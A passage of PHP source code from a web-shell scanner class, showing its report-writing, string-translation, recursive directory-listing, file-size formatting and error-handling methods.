'; } else { print $content; } flush(); } } /** * Save scanned data to file */ private function flush() { if ($this->isConsole()) { print "$this->counter files, $this->suspcounter suspicious, ".count($this->_badfiles)." shells\n"; } if ($this->is_cron) { $filename = date($this->report_format, time()); if (file_put_contents($filename, self::$_output)) { print $this->t('Done, report file created'); } else { print $this->t('Error, report file creation failed'); } } } /** * Translate function (ported from Drupal) */ private function t($string, $args = array()) { if ($this->language) { if (is_file('lang/' . $this->language . '.php')) { include ('lang/' . $this->language . '.php'); if (isset($local[$string])) { $string = $local[$string]; } } } if (empty($args)) { return $string; } else { foreach ($args as $key => $value) { switch ($key[0]) { case '@' : $args[$key] = $value; break; } } return strtr($string, $args); } } /** * Recursivly list directories */ private function listdir($dir) { if (!is_dir($dir) || !is_readable($dir)) { return true; } $handle = opendir($dir); if ($this->filelimit > 0) { if (count($this->_files) > $this->filelimit) { return true; } } while (($file = readdir($handle)) !== false) { if ($file == '.' || $file == '..') { continue; } $filepath = $dir == '.' ? $file : $dir . '/' . $file; if (is_link($filepath)) { continue; } if (is_file($filepath)) { if (substr(basename($filepath), 0, 1) != "." || $this->scan_hidden) { $extension = pathinfo($filepath); if (is_string($this->extension) && $this->extension == '*') { if ($this->filelimit > 0) { $this->_files[] = $filepath; } else { $this->analyze($filepath); } } else { if (isset($extension['extension']) && in_array($extension['extension'], $this->extension)) { if ($this->_self != basename($filepath)) { if ($this->filelimit > 0) { $this->_files[] = $filepath; } else { $this->analyze($filepath); } } } } } } else if (is_dir($filepath)) { if (substr(basename($filepath), 0, 1) != "." || $this->scan_hidden) { $this->listdir($filepath); } } } self::output('' . count($this->_files) . '', null, false); closedir($handle); } /** * Returns a human readable filesize * @author wesman20 (php.net) * @author Jonas John * @version 0.3 * @link http://www.jonasjohn.de/snippets/php/readable-filesize.htm */ private function HumanReadableFilesize($file) { $size = filesize($file); $mod = 1024; $units = explode(' ', 'B KB MB GB TB PB'); for ($i = 0; $size > $mod; $i++) { $size /= $mod; } return round($size, 2) . ' ' . $units[$i]; } /** * Own error handler */ static public function error_handler($errno, $errstr, $errfile, $errline) { switch ($errno) { case E_USER_WARNING : case E_USER_ERROR : case E_USER_NOTICE : default : shellDetector::output('Error: ' . $errstr . ' line: ' . $errline, 'error'); break; } } } ?>